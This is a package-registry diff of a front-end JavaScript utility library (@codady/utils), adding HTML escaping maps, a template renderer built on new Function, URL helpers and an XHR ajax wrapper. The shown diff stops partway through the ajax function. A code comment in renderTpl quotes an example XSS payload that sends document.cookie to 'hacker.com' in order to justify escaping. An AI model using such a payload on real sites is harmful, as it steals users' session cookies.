@codady/utils 0.0.37 → 0.0.39

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/CHANGELOG.md +35 -1
  2. package/dist/utils.cjs.js +651 -54
  3. package/dist/utils.cjs.min.js +3 -3
  4. package/dist/utils.esm.js +651 -54
  5. package/dist/utils.esm.min.js +3 -3
  6. package/dist/utils.umd.js +651 -54
  7. package/dist/utils.umd.min.js +3 -3
  8. package/dist.zip +0 -0
  9. package/examples/ajax-get.html +59 -0
  10. package/examples/ajax-hook.html +55 -0
  11. package/examples/ajax-method.html +36 -0
  12. package/examples/ajax-post.html +37 -0
  13. package/examples/buildUrl.html +99 -0
  14. package/examples/escapeHTML.html +140 -0
  15. package/examples/getUrlHash.html +71 -0
  16. package/examples/renderTpl.html +272 -0
  17. package/modules.js +23 -3
  18. package/modules.ts +22 -3
  19. package/package.json +1 -1
  20. package/src/ajax.js +363 -0
  21. package/src/ajax.ts +450 -0
  22. package/src/buildUrl.js +64 -0
  23. package/src/buildUrl.ts +86 -0
  24. package/src/capitalize - /345/211/257/346/234/254.js" +19 -0
  25. package/src/capitalize.js +19 -0
  26. package/src/capitalize.ts +20 -0
  27. package/src/cleanQueryString.js +19 -0
  28. package/src/cleanQueryString.ts +20 -0
  29. package/src/comma - /345/211/257/346/234/254.js" +2 -0
  30. package/src/escapeCharsMaps.js +73 -0
  31. package/src/escapeCharsMaps.ts +74 -0
  32. package/src/escapeHTML.js +23 -25
  33. package/src/escapeHTML.ts +29 -25
  34. package/src/escapeRegexMaps.js +19 -0
  35. package/src/escapeRegexMaps.ts +26 -0
  36. package/src/getBodyHTML.js +53 -0
  37. package/src/getBodyHTML.ts +61 -0
  38. package/src/getEl.js +1 -1
  39. package/src/getEl.ts +6 -5
  40. package/src/getEls.js +1 -1
  41. package/src/getEls.ts +5 -5
  42. package/src/getUrlHash.js +37 -0
  43. package/src/getUrlHash.ts +39 -0
  44. package/src/isEmpty.js +24 -23
  45. package/src/isEmpty.ts +26 -23
  46. package/src/renderTpl.js +37 -14
  47. package/src/renderTpl.ts +38 -18
  48. package/src/renderTpt.js +73 -0
  49. package/src/sliceStrEnd.js +63 -0
  50. package/src/sliceStrEnd.ts +60 -0
  51. package/src/toSingleLine.js +9 -0
  52. package/src/toSingleLine.ts +9 -0
  53. package/src/escapeHtmlChars - /345/211/257/346/234/254.js" +0 -28
  54. package/src/escapeHtmlChars.js +0 -28
  55. package/src/escapeHtmlChars.ts +0 -29
package/dist/utils.umd.js CHANGED
@@ -1,8 +1,8 @@
1
1
 
2
2
  /*!
3
- * @since Last modified: 2026-1-15 18:58:28
3
+ * @since Last modified: 2026-1-20 16:40:28
4
4
  * @name Utils for web front-end.
5
- * @version 0.0.36
5
+ * @version 0.0.38
6
6
  * @author AXUI development team <3217728223@qq.com>
7
7
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
8
8
  * @see {@link https://www.axui.cn|Official website}
@@ -244,6 +244,102 @@
244
244
  return methods;
245
245
  };
246
246
 
247
+ const escapeCharsMaps = {
248
+ //code或pre标签中代码高亮是使用basic
249
+ basic: {
250
+ '&': '&amp;',
251
+ '<': '&lt;',
252
+ '>': '&gt;',
253
+ },
254
+ //需要用在标签属性上attribute
255
+ attribute: {
256
+ '&': '&amp;',
257
+ '<': '&lt;',
258
+ '>': '&gt;',
259
+ '"': '&quot;',
260
+ "'": '&apos;',
261
+ '`': '&#x60;',
262
+ },
263
+ //html中的正文内容使用content
264
+ content: {
265
+ '&': '&amp;',
266
+ '<': '&lt;',
267
+ '>': '&gt;',
268
+ '"': '&quot;',
269
+ "'": '&apos;',
270
+ '/': '&#x2F;',
271
+ },
272
+ //用于url链接则使用uri
273
+ uri: {
274
+ '&': '&amp;',
275
+ '<': '&lt;',
276
+ '>': '&gt;',
277
+ '"': '&quot;',
278
+ "'": '&apos;',
279
+ '(': '&#40;',
280
+ ')': '&#41;',
281
+ '[': '&#91;',
282
+ ']': '&#93;',
283
+ },
284
+ //极致转意,避免任何注入或非法代码
285
+ paranoid: {
286
+ '&': '&amp;',
287
+ '<': '&lt;',
288
+ '>': '&gt;',
289
+ '"': '&quot;',
290
+ "'": '&apos;',
291
+ '`': '&#x60;',
292
+ '/': '&#x2F;',
293
+ '=': '&#x3D;',
294
+ '!': '&#x21;',
295
+ '#': '&#x23;',
296
+ '(': '&#40;',
297
+ ')': '&#41;',
298
+ '[': '&#91;',
299
+ ']': '&#93;',
300
+ '{': '&#x7B;',
301
+ '}': '&#x7D;',
302
+ ':': '&#x3A;',
303
+ ';': '&#x3B;',
304
+ },
305
+ };
306
+
307
+ const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
308
+ const chars = Object.keys(escapeCharsMaps[key]);
309
+ // Escape special regex characters to avoid issues in the regex. [ => \[
310
+ const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
311
+ acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
312
+ return acc;
313
+ }, {});
314
+
315
+ const escapeHTML = (str, strength = 'attribute') => {
316
+ // Return empty string if input is null, undefined, or not a string
317
+ if (typeof str !== 'string')
318
+ return '';
319
+ const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
320
+ // Use String.prototype.replace with a global regex.
321
+ // The callback function retrieves the replacement from the map using the matched character as key.
322
+ return str.replace(regex, (match) => map[match]);
323
+ };
324
+
325
+ const getUniqueId = (options = {}) => {
326
+ const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
327
+ // Current timestamp in milliseconds (since Unix epoch)
328
+ // This provides the primary uniqueness guarantee
329
+ const timestamp = Date.now(),
330
+ // Generate a base-36 random string (0-9, a-z)
331
+ // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
332
+ // substring(2, 11) extracts 9 characters starting from index 2
333
+ //0.259854635->0.9crs03e8v2
334
+ base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
335
+ // Additional 4-digit random number for extra randomness
336
+ // This helps avoid collisions in high-frequency generation scenarios
337
+ base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
338
+ // Construct the final ID string
339
+ // Format: [prefix_]timestamp_randomBase36_extraRandom
340
+ return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
341
+ };
342
+
247
343
  const requireTypes = (data, require, cb) => {
248
344
  // Normalize the input types (convert to array if it's a single type)
249
345
  let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
@@ -271,22 +367,83 @@
271
367
  return dataType;
272
368
  };
273
369
 
274
- const getUniqueId = (options = {}) => {
275
- const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
276
- // Current timestamp in milliseconds (since Unix epoch)
277
- // This provides the primary uniqueness guarantee
278
- const timestamp = Date.now(),
279
- // Generate a base-36 random string (0-9, a-z)
280
- // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
281
- // substring(2, 11) extracts 9 characters starting from index 2
282
- //0.259854635->0.9crs03e8v2
283
- base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
284
- // Additional 4-digit random number for extra randomness
285
- // This helps avoid collisions in high-frequency generation scenarios
286
- base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
287
- // Construct the final ID string
288
- // Format: [prefix_]timestamp_randomBase36_extraRandom
289
- return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
370
+ const toSingleLine = (str, collapseSpaces = false) => {
371
+ const result = str.replace(/[\r\t\n]/g, '');
372
+ return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
373
+ };
374
+
375
+ const renderTpl = (html, data, options = {}) => {
376
+ requireTypes(html, 'string', (error) => {
377
+ //不符合要求的类型
378
+ console.error(error);
379
+ return '';
380
+ });
381
+ if (!html.trim())
382
+ return '';
383
+ let dataType = requireTypes(data, ['array', 'object'], (error) => {
384
+ //不符合要求的类型
385
+ console.error(error);
386
+ return html;
387
+ });
388
+ //data={}/[]
389
+ if (Object.keys(data).length === 0) {
390
+ console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
391
+ return html;
392
+ }
393
+ let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
394
+ //regStart='\\{\\{'
395
+ regStart = opts.start.split('').map(k => '\\' + k).join(''),
396
+ //regEnd='\\}\\}'
397
+ regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
398
+ //代替escapeHTML的方法,在字符串内部的映射,确保不会重名
399
+ escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
400
+ if (isScript) {
401
+ //处理语句类(如 {{ if(x) /}} )
402
+ if (fragment.endsWith(opts.suffix)) {
403
+ code += (fragment.slice(0, -opts.suffix.length) + '\n');
404
+ }
405
+ else {
406
+ //处理表达式类(如 {{ name }} )
407
+ //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
408
+ //虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
409
+ code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
410
+ }
411
+ }
412
+ else {
413
+ //fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
414
+ //js语句不能直接文本换行,所以也需要转意换行符
415
+ //换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
416
+ code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
417
+ }
418
+ return add;
419
+ };
420
+ while (match = tplReg.exec(html)) {
421
+ add(html.slice(cursor, match.index))(match[1], true);
422
+ cursor = match.index + match[0].length;
423
+ }
424
+ add(html.slice(cursor));
425
+ code += `return str.join('');`;
426
+ //一行行化代码
427
+ //如果文本"XXX (换行)",js执行会报错,所以需要清理换行
428
+ code = toSingleLine(code);
429
+ try {
430
+ if (opts.strict || dataType === 'Array') {
431
+ //严格模式,或者是数组数据,则必须使用this
432
+ result = new Function(escapeName, code).apply(data, [escapeHTML]);
433
+ }
434
+ else {
435
+ ////非严格模式,且是对象,则可省略this
436
+ let keys = Object.keys(data), values = Object.values(data),
437
+ //keys传参,可直接以key为值,this依然可指向data
438
+ tmp = new Function(...keys, escapeName, code).bind(data);
439
+ //执行时以value赋值
440
+ result = tmp(...values, escapeHTML);
441
+ }
442
+ }
443
+ catch (err) {
444
+ console.error(`'${err.message}'`, ' in \n', code, '\n');
445
+ }
446
+ return result;
290
447
  };
291
448
 
292
449
  const setMutableMethods = ['add', 'delete', 'clear'];
@@ -790,30 +947,31 @@
790
947
  let type = getDataType(data), flag;
791
948
  if (!data) {
792
949
  //0,'',false,undefined,null
793
- flag = true;
950
+ return true;
794
951
  }
795
- else {
796
- //function(){}|()=>{}
797
- //[null]|[undefined]|['']|[""]
798
- //[]|{}
799
- //Symbol()|Symbol.for()
800
- //Set,Map
801
- //Date/Regex
802
- flag = (type === 'Object') ? (Object.keys(data).length === 0) :
803
- (type === 'Array') ? data.join('') === '' :
804
- (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
805
- (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
806
- (type === 'Set' || type === 'Map') ? data.size === 0 :
807
- type === 'Date' ? isNaN(data.getTime()) :
808
- type === 'RegExp' ? data.source === '' :
809
- type === 'ArrayBuffer' ? data.byteLength === 0 :
810
- (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
811
- ('length' in data && typeof data.length === 'number') ? data.length === 0 :
812
- ('size' in data && typeof data.size === 'number') ? data.size === 0 :
813
- (type === 'Error' || data instanceof Error) ? data.message === '' :
814
- (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
815
- false;
952
+ if (['String', 'Number', 'Boolean'].includes(type)) {
953
+ return false;
816
954
  }
955
+ //function(){}|()=>{}
956
+ //[null]|[undefined]|['']|[""]
957
+ //[]|{}
958
+ //Symbol()|Symbol.for()
959
+ //Set,Map
960
+ //Date/Regex
961
+ flag = (type === 'Object') ? (Object.keys(data).length === 0) :
962
+ (type === 'Array') ? data.join('') === '' :
963
+ (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
964
+ (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
965
+ (type === 'Set' || type === 'Map') ? data.size === 0 :
966
+ type === 'Date' ? isNaN(data.getTime()) :
967
+ type === 'RegExp' ? data.source === '' :
968
+ type === 'ArrayBuffer' ? data.byteLength === 0 :
969
+ (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
970
+ ('length' in data && typeof data.length === 'number') ? data.length === 0 :
971
+ ('size' in data && typeof data.size === 'number') ? data.size === 0 :
972
+ (type === 'Error' || data instanceof Error) ? data.message === '' :
973
+ (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
974
+ false;
817
975
  return flag;
818
976
  };
819
977
 
@@ -1177,19 +1335,6 @@
1177
1335
  return str.replace(/^\s*\n|\n\s*$/g, '') || '';
1178
1336
  };
1179
1337
 
1180
- const escapeHtmlChars = (text) => {
1181
- // Check if the input text is empty or undefined
1182
- if (!text)
1183
- return '';
1184
- // Replace the special characters with their corresponding HTML entities
1185
- return text
1186
- .replace(/&/g, '&amp;') // Replace '&' with '&amp;'
1187
- .replace(/</g, '&lt;') // Replace '<' with '&lt;'
1188
- .replace(/>/g, '&gt;') // Replace '>' with '&gt;'
1189
- .replace(/"/g, '&quot;') // Replace '"' with '&quot;'
1190
- .replace(/'/g, '&#39;'); // Replace "'" with '&#39;'
1191
- };
1192
-
1193
1338
  const decodeHtmlEntities = (text) => {
1194
1339
  // Check if the input text is empty or undefined
1195
1340
  if (!text)
@@ -1200,6 +1345,448 @@
1200
1345
  return textArea.value; // Get the decoded string from the text area
1201
1346
  };
1202
1347
 
1348
+ const getBodyHTML = (htmlText, selector) => {
1349
+ // Return early if the input is not a valid string or doesn't look like HTML
1350
+ if (!htmlText || typeof htmlText !== 'string') {
1351
+ return '';
1352
+ }
1353
+ try {
1354
+
1355
+ const parser = new DOMParser(),
1356
+
1357
+ doc = parser.parseFromString(htmlText, 'text/html'),
1358
+
1359
+ bodyContent = doc.body.innerHTML;
1360
+ if (selector) {
1361
+ // Normalize hash: ensure it's a valid ID selector
1362
+ const targetEl = doc.querySelector(selector);
1363
+ if (targetEl) {
1364
+ return targetEl.innerHTML;
1365
+ }
1366
+ // If hash is provided but element not found, we fallback to body or warn
1367
+ console.warn(`Element with selector "${selector}" not found in the HTML.`);
1368
+ }
1369
+ return bodyContent ? bodyContent.trim() : htmlText;
1370
+ }
1371
+ catch (error) {
1372
+
1373
+ console.error("Failed to parse HTML content using DOMParser:", error);
1374
+ return htmlText;
1375
+ }
1376
+ };
1377
+
1378
+ const getUrlHash = (url) => {
1379
+ // Return empty if input is null, undefined, or not a string
1380
+ if (!url || typeof url !== 'string') {
1381
+ return '';
1382
+ }
1383
+ try {
1384
+
1385
+ const baseUrl = window?.location?.origin || 'https://www.axui.cn', urlObj = new URL(url, baseUrl);
1386
+ return urlObj.hash;
1387
+ }
1388
+ catch (error) {
1389
+
1390
+ return '';
1391
+ }
1392
+ };
1393
+
1394
+ const cleanQueryString = (data) => {
1395
+ return typeof data === 'string' && (data.startsWith('?') || data.startsWith('&'))
1396
+ ? data.slice(1) // Remove the leading '?' or '&'
1397
+ : data; // Return the string as-is if no leading character is present
1398
+ };
1399
+
1400
+ const buildUrl = ({ url, data, cacheBustKey = '_t', appendCacheBust = true }) => {
1401
+ // 1. Extract and remove the hash (e.g., /page#section -> hash="#section")
1402
+ const hashIndex = url.indexOf('#');
1403
+ let hash = '', pureUrl = url;
1404
+ // If a hash exists, separate it from the base URL
1405
+ if (hashIndex !== -1) {
1406
+ hash = url.slice(hashIndex);
1407
+ pureUrl = url.slice(0, hashIndex);
1408
+ }
1409
+ // 2. Use the URL object to handle the base URL and existing query parameters.
1410
+ // `window.location.origin` ensures the support for relative paths (e.g., '/api/list').
1411
+ const urlObj = new URL(pureUrl, window.location.origin);
1412
+ // 3. Append business data (query parameters) to the URL if data is not empty
1413
+ if (!isEmpty(data)) {
1414
+ let params, dataType = getDataType(data);
1415
+ // If the data is a URLSearchParams object, directly use it
1416
+ if (dataType === 'URLSearchParams') {
1417
+ params = data;
1418
+ }
1419
+ else if (dataType === 'object') {
1420
+ // If the data is an object, convert it to URLSearchParams
1421
+ params = new URLSearchParams(data);
1422
+ }
1423
+ else {
1424
+ // If the data is a string, clean it up (remove leading '?' or '&')
1425
+ params = new URLSearchParams(cleanQueryString(data));
1426
+ }
1427
+ // Append new parameters to the existing URL search parameters
1428
+ params.forEach((value, key) => {
1429
+ urlObj.searchParams.append(key, value);
1430
+ });
1431
+ }
1432
+ // 4. Optionally add the cache-busting parameter if the flag is set
1433
+ appendCacheBust && cacheBustKey && urlObj.searchParams.set(cacheBustKey, Date.now().toString());
1434
+ // 5. Return the final URL: base URL + query parameters + original hash (if any)
1435
+ return urlObj.toString() + hash;
1436
+ };
1437
+
1438
+ const capitalize = (str) => {
1439
+ // Check if the input string is empty or undefined
1440
+ if (!str)
1441
+ return str;
1442
+ // Capitalize the first letter and return the new string
1443
+ return str.charAt(0).toUpperCase() + str.slice(1);
1444
+ };
1445
+
1446
+ const ajax = (options) => {
1447
+ // Validation
1448
+ if (isEmpty(options)) {
1449
+ return Promise.reject(new Error('Options are required'));
1450
+ }
1451
+ if (!options.url || typeof options.url !== 'string') {
1452
+ return Promise.reject(new Error('URL is required and must be a string'));
1453
+ }
1454
+ // Default configuration
1455
+ const config = {
1456
+ url: '',
1457
+ method: 'POST',
1458
+ async: true,
1459
+ selector: '',
1460
+ data: null,
1461
+ timeout: 3600000,
1462
+ headers: {},
1463
+ responseType: '',
1464
+ catchError: false,
1465
+ signal: null,
1466
+ xhrFields: {},
1467
+ cacheBustKey: '_t',
1468
+ //
1469
+ onAbort: null,
1470
+ onTimeout: null,
1471
+ //
1472
+ onBeforeSend: null,
1473
+ //
1474
+ onCreated: null,
1475
+ onOpened: null,
1476
+ onHeadersReceived: null,
1477
+ onLoading: null,
1478
+ //
1479
+ onSuccess: null,
1480
+ onFailure: null,
1481
+ onInformation: null,
1482
+ onRedirection: null,
1483
+ onClientError: null,
1484
+ onServerError: null,
1485
+ onUnknownError: null,
1486
+ onError: null,
1487
+ onFinish: null,
1488
+ //
1489
+ onDownload: null,
1490
+ onUpload: null,
1491
+ onComplete: null,
1492
+ };
1493
+ //合并参数
1494
+ Object.assign(config, options);
1495
+ //
1496
+ const method = config.method.toUpperCase() || 'POST', methodsWithoutBody = ['GET', 'HEAD', 'TRACE'];
1497
+ //创建XMLHttpRequest
1498
+ let xhr = new XMLHttpRequest(),
1499
+ //设置发送数据和预设请求头
1500
+ requestData = null, headerContentType = config?.headers?.['Content-Type'] || config?.headers?.['content-type'], removeHeader = () => {
1501
+ if (headerContentType) {
1502
+ delete config.headers['Content-Type'];
1503
+ delete config.headers['content-type'];
1504
+ }
1505
+ };
1506
+ if (!isEmpty(config.data)) {
1507
+ let dataType = getDataType(config.data);
1508
+ if (dataType === 'FormData') {
1509
+ //如果是new FormData格式,直接相等
1510
+ requestData = config.data;
1511
+ // 不需要手动设置Content-Type,浏览器会自动设置
1512
+ //config.contType = 'multipart/form-data';
1513
+ removeHeader();
1514
+ }
1515
+ else if (dataType === 'Object') {
1516
+ //如果是对象格式{name:'',age:''}
1517
+ //并且此时已经设置了contType
1518
+ if (!headerContentType) {
1519
+ //如果未设置则默认设为如下contType
1520
+ //Content-Type=application/x-www-form-urlencoded
1521
+
1522
+ requestData = new URLSearchParams(config.data).toString();
1523
+ //URLSearchParams.toString => `a=1&b=3`
1524
+ //非get、head方法修正content-type
1525
+ if (!methodsWithoutBody.includes(method)) {
1526
+ config.headers['Content-Type'] = 'application/x-www-form-urlencoded';
1527
+ }
1528
+ }
1529
+ else if (headerContentType?.includes('application/json')) {
1530
+ //Content-Type=application/json或contentType=application/json
1531
+ requestData = JSON.stringify(config.data);
1532
+ }
1533
+ else {
1534
+ requestData = config.data;
1535
+ }
1536
+ }
1537
+ else if (dataType === 'String') {
1538
+ //未设置或,已经设置了Content-Type=application/x-www-form-urlencoded
1539
+ if (!headerContentType || headerContentType.includes('urlencoded')) {
1540
+ //如果是name=''&age=''字符串
1541
+ //?name=''&age=''或&name=''&age=''统一去掉第一个&/?
1542
+ requestData = cleanQueryString(config.data.trim());
1543
+ //非get、head方法修正content-type
1544
+ if (!methodsWithoutBody.includes(method) && !headerContentType) {
1545
+ config.headers['Content-Type'] = 'application/x-www-form-urlencoded';
1546
+ }
1547
+ }
1548
+ else {
1549
+ requestData = config.data;
1550
+ }
1551
+ }
1552
+ else {
1553
+ requestData = config.data;
1554
+ }
1555
+ }
1556
+ //设置超时时间
1557
+ xhr.timeout = config.timeout;
1558
+ // 响应类型
1559
+ if (config.responseType) {
1560
+ xhr.responseType = config.responseType;
1561
+ }
1562
+ //返回promise
1563
+ const result = new Promise((resolve, reject) => {
1564
+ //超时监听
1565
+ const timeoutHandler = () => {
1566
+ cleanup();
1567
+ let resp = { ...context, status: xhr.status, content: xhr.response, type: 'timeout' };
1568
+ //回调,status和content在此确认
1569
+ config?.onTimeout?.(resp);
1570
+ //reject只能接受一个参数
1571
+ config.catchError ? reject(resp) : resolve(resp);
1572
+ },
1573
+ //报错监听
1574
+ errorHandler = (resp) => {
1575
+ //这几个错误来自xhr.onreadystatechange
1576
+ if (resp.type === 'client-error') {
1577
+ config?.onClientError?.({ ...context });
1578
+ }
1579
+ else if (resp.type === 'server-error') {
1580
+ config?.onServerError?.({ ...context });
1581
+ }
1582
+ else if (resp.type === 'unknown-error') {
1583
+ config?.onUnknownError?.({ ...context });
1584
+ }
1585
+ //此外还会有xhr.onerror的错误,所以需要统一使用onError监听
1586
+ config?.onError?.(resp);
1587
+ //reject只能接受一个参数
1588
+ config.catchError ? reject(resp) : resolve(resp);
1589
+ },
1590
+ //取消监听
1591
+ abortHandler = () => {
1592
+ cleanup();
1593
+ const resp = { ...context, status: xhr.status, type: 'abort' };
1594
+ config.catchError ? reject(resp) : resolve(resp);
1595
+ //回调,status和content在此确认
1596
+ config?.onAbort?.(resp);
1597
+ }, abortHandlerWithSignal = () => {
1598
+ //先中止请求,防止触发其他 readystate 事件
1599
+ xhr.abort();
1600
+ abortHandler();
1601
+ },
1602
+ //成功监听
1603
+ successHandler = (resp) => {
1604
+ //成功回调
1605
+ config?.onSuccess?.(resp);
1606
+ //resolve只能接受一个参数
1607
+ resolve(resp);
1608
+ },
1609
+ //统一处理abort
1610
+ cleanup = () => {
1611
+ // 如果使用了AbortSignal,则移除它的事件监听器
1612
+ config.signal && config.signal.removeEventListener('abort', abortHandlerWithSignal);
1613
+ // 移除各类事件监听器
1614
+ config.onError && xhr.removeEventListener('error', errorHandler);
1615
+ config.onTimeout && xhr.removeEventListener('timeout', timeoutHandler);
1616
+ // 解绑上传/下载进度事件
1617
+ config.onUpload && xhr.upload.removeEventListener('progress', uploadProgressHandler);
1618
+ config.onDownload && xhr.removeEventListener('progress', downloadProgressHandler);
1619
+ //销毁
1620
+ xhr.onreadystatechange = null;
1621
+ },
1622
+ // Context object to track state
1623
+ context = {
1624
+ //原始xhr
1625
+ xhr,
1626
+ //发送的数据
1627
+ data: requestData,
1628
+ //可取消的函数
1629
+ abort: abortHandler,
1630
+ //xhr.status
1631
+ status: '',
1632
+ //响应的内容
1633
+ content: null,
1634
+ //0~4阶段编号
1635
+ stage: 0,
1636
+ //阶段名称
1637
+ type: 'unset',
1638
+ //上传和下载进度
1639
+ progress: {}
1640
+ },
1641
+ //定义进度函数
1642
+ progressHandler = (name, data, callback) => {
1643
+ if (data.lengthComputable) {
1644
+ const resp = { ...context, status: xhr.status }, ratio = data.loaded / data.total;
1645
+ resp.progress = {
1646
+ name,
1647
+ loaded: data.loaded,
1648
+ total: data.total,
1649
+ timestamp: (new Date(data.timeStamp)).getTime(),
1650
+ ratio,
1651
+ percent: Math.round(ratio * 100),
1652
+ };
1653
+ callback?.(resp);
1654
+ //到达100%执行complete
1655
+ if (resp.progress.percent >= 100) {
1656
+ resp.progress.percent = 100;
1657
+ config?.onComplete?.(resp);
1658
+ }
1659
+ }
1660
+ }, uploadProgressHandler = (data) => {
1661
+ progressHandler('upload', data, (resp) => config.onUpload(resp));
1662
+ }, downloadProgressHandler = (data) => {
1663
+ progressHandler('download', data, (resp) => config.onDownload(resp));
1664
+ };
1665
+ //使用AbortSignal
1666
+ if (config.signal) {
1667
+ if (config.signal.aborted)
1668
+ return abortHandlerWithSignal();
1669
+ config.signal.addEventListener('abort', abortHandlerWithSignal);
1670
+ }
1671
+ //监听上传进度
1672
+ config.onUpload && xhr.upload.addEventListener('progress', uploadProgressHandler);
1673
+ //监听下载进度
1674
+ config.onDownload && xhr.addEventListener('progress', downloadProgressHandler);
1675
+ // 事件监听器
1676
+ config.onError && xhr.addEventListener('error', errorHandler);
1677
+ config.onTimeout && xhr.addEventListener('timeout', timeoutHandler);
1678
+ config.onAbort && xhr.addEventListener('abort', abortHandler);
1679
+ // 手动触发 Created 状态
1680
+ config.onCreated?.({ ...context, type: 'created' });
1681
+ //状态判断
1682
+ xhr.onreadystatechange = function () {
1683
+ context.stage = xhr.readyState;
1684
+ context.status = xhr.status;
1685
+ const statusMap = { 1: 'opened', 2: 'headersReceived', 3: 'loading' };
1686
+ //0=created放在外侧确保能触发,如果放在.onreadystatechange可能触发不了
1687
+ if (xhr.readyState < 4) {
1688
+ if (!xhr.readyState)
1689
+ return;
1690
+ context.type = statusMap[xhr.readyState];
1691
+ config[`on${capitalize(context.type)}`]?.({ ...context });
1692
+ return;
1693
+ }
1694
+ //已经请求成功,不会有timeout事件,也不需要abort了,所以移除abort事件
1695
+ cleanup();
1696
+ const isInformation = xhr.status >= 100 && xhr.status < 200, isSuccess = (xhr.status >= 200 && xhr.status < 300) || xhr.status === 304, isRedirection = xhr.status >= 300 && xhr.status < 400, isClientError = xhr.status >= 400 && xhr.status < 500, isServerError = xhr.status >= 500 && xhr.status < 600;
1697
+ //已经获得返回数据
1698
+ if (isSuccess) {
1699
+ if (!config.responseType || xhr.responseType === 'text') {
1700
+ //可能返回字符串类型的对象,wordpress的REST API
1701
+ let trim = xhr.responseText.trim(), content = '';
1702
+ if ((trim.startsWith('[') && trim.endsWith(']')) || (trim.startsWith('{') && trim.endsWith('}'))) {
1703
+ //通过判断开头字符是{或[来确定异步页面是否是JSON内容,如果是则转成JSON对象
1704
+ try {
1705
+ content = JSON.parse(trim);
1706
+ }
1707
+ catch {
1708
+ console.warn('Malformed JSON detected, falling back to text.');
1709
+ content = xhr.responseText;
1710
+ }
1711
+ }
1712
+ else if (/(<\/html>|<\/body>)/i.test(trim)) {
1713
+ //请求了一个HTML页面
1714
+ //返回文本类型DOMstring
1715
+ let urlHash = getUrlHash(config.url);
1716
+ content = getBodyHTML(trim, config.selector || urlHash);
1717
+ }
1718
+ else {
1719
+ //普通文本,不做任何处理
1720
+ content = xhr.responseText;
1721
+ }
1722
+ //content=文本字符串/json
1723
+ context.content = content;
1724
+ }
1725
+ else {
1726
+ //content=json、blob、document、arraybuffer等类型,如果知道服务器返回的XML, xhr.responseType应该为document
1727
+ context.content = xhr.response;
1728
+ }
1729
+ context.type = 'success';
1730
+ successHandler({ ...context });
1731
+ }
1732
+ else {
1733
+ //失败回调
1734
+ context.content = xhr.response;
1735
+ context.type = isInformation ? 'infomation' : isRedirection ? 'redirection' : isClientError ? 'client-error' : isServerError ? 'server-error' : 'unknown-error';
1736
+ //
1737
+ if (isInformation) {
1738
+ config?.onInformation?.({ ...context });
1739
+ }
1740
+ else if (isRedirection) {
1741
+ config?.onRedirection?.({ ...context });
1742
+ }
1743
+ else {
1744
+ errorHandler({ ...context });
1745
+ }
1746
+ //
1747
+ config?.onFailure?.({ ...context });
1748
+ }
1749
+ config?.onFinish?.({ ...context });
1750
+ };
1751
+ //发送异步请求
1752
+ let openParams = [method, config.url, config.async];
1753
+ if (methodsWithoutBody.includes(method)) {
1754
+ // 拼接url => xxx.com?a=0&b=1#hello
1755
+ const url = buildUrl({
1756
+ url: config.url,
1757
+ data: requestData,
1758
+ cacheBustKey: config.cacheBustKey,
1759
+ appendCacheBust: true,
1760
+ });
1761
+ openParams = [method, url, config.async];
1762
+ }
1763
+ //设置xhr其他字段
1764
+ for (let k in config.xhrFields) {
1765
+ config.xhrFields.hasOwnProperty(k) && (xhr[k] = config.xhrFields[k]);
1766
+ }
1767
+ //与服务器建立连接
1768
+ xhr.open(...openParams);
1769
